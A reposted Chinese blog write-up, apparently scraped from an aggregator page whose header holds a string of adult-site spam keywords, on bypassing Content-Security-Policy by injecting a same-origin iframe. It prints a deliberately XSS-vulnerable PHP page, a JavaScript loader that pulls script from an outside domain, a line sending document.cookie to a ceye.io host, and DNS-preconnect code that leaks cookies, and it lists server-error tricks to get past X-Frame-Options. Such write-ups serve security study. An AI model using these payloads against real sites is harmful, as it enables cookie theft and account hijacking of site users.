日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

通过iframe标签绕过csp

發布時間:2025/4/9 编程问答 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 通过iframe标签绕过csp 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

iframe.php代碼如下:

allow-popups開啟時,window.open就可以打開新的窗口。

看csp規則,默認是在當前域內,如果這是一個ctf題的話,就很簡單了,window.location.href='http://aa.xxxx.ceye.io?'+document.cookie;能把cookie傳出來。

但是要是遠程加載js文件是不滿足csp規則的。

<?php header("Content-Security-Policy: default-src 'self' 'unsafe-inline'; sandbox allow-forms allow-same-origin allow-scripts allow-modals allow-popups"); setcookie('afanti','test'); ?> <!DOCTYPE html> <html> <head><title>bypass csp</title> </head> <body><script> <?php echo $_GET['xss']; ?></script> </body>

被csp規則攔住:

通過iframe引入外部js,其中iframe的src屬性必須是同域下的。

引入的js代碼如下:

f=document.createElement("iframe"); f.id="pwn"; f.src="./1.txt"; f.onload=()=>{x=document.createElement('script');x.src='//www.123.com/csp/1.js'; pwn.contentWindow.document.body.appendChild(x) }; document.body.appendChild(f);

這時候就能繞過csp引入其他域下的js了。

但是存在的問題就是,雖然能將外部的js引入,不能把瀏覽器的數據帶出來。

解決辦法:通過dns通道來傳遞cookie。

dc = document.cookie; dcl = dc.split(";"); n0 = document.getElementsByTagName("HEAD")[0]; for (var i=0; i<dcl.length;i++) { console.log(dcl[i]); n0.innerHTML = n0.innerHTML + "<link rel=\"preconnect\" href=\"//" + escape(dcl[i].replace(/\//g, "-")).replace(/%/g, "_") + '.' + location.hostname.split(".").join("") + ".on1sw1.ceye.io\">"; console.log(n0.innerHTML); }

打到的cookie。

獲取父窗口的內容<code id='secret'>Secret=xni3cQ2v6lnN2BVn</code>。

獲取到的父窗口的內容。

?

假設當前網站的頭部都加上了:header("X-Frame-Options:DENY");也就是沒辦法引入同域下的iframe標簽,被攔截了,后面的js語句不執行了。

把iframe.src="http://www.123.com/csp/test.php";其中test.php頭部加上header("X-Frame-Options:DENY"),這樣就無法運行后面的js語句。

?

解決辦法:

可以通過讓服務器處理出錯來繞過,來引入我們外部的js文件。

?1、請求一個不存在的地址

?

2、請求長的url,讓服務器產生414錯誤

3.產生巨大的cookie,測試代碼看參考鏈接

總結:

1、可以通過iframe引入其他域的js文件(問題:引入的js也受csp策略的影響,不能將本域的內容傳出去,但是可以通過dns通道傳出去)

利用場景:xss點引入的有長度限制,通過iframe引入其他域的文件,在通過dns通道將本域的js文件傳出去。

參考鏈接:

https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa

轉載于:https://www.cnblogs.com/afanti/p/9298415.html

總結

以上是生活随笔為你收集整理的通过iframe标签绕过csp的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。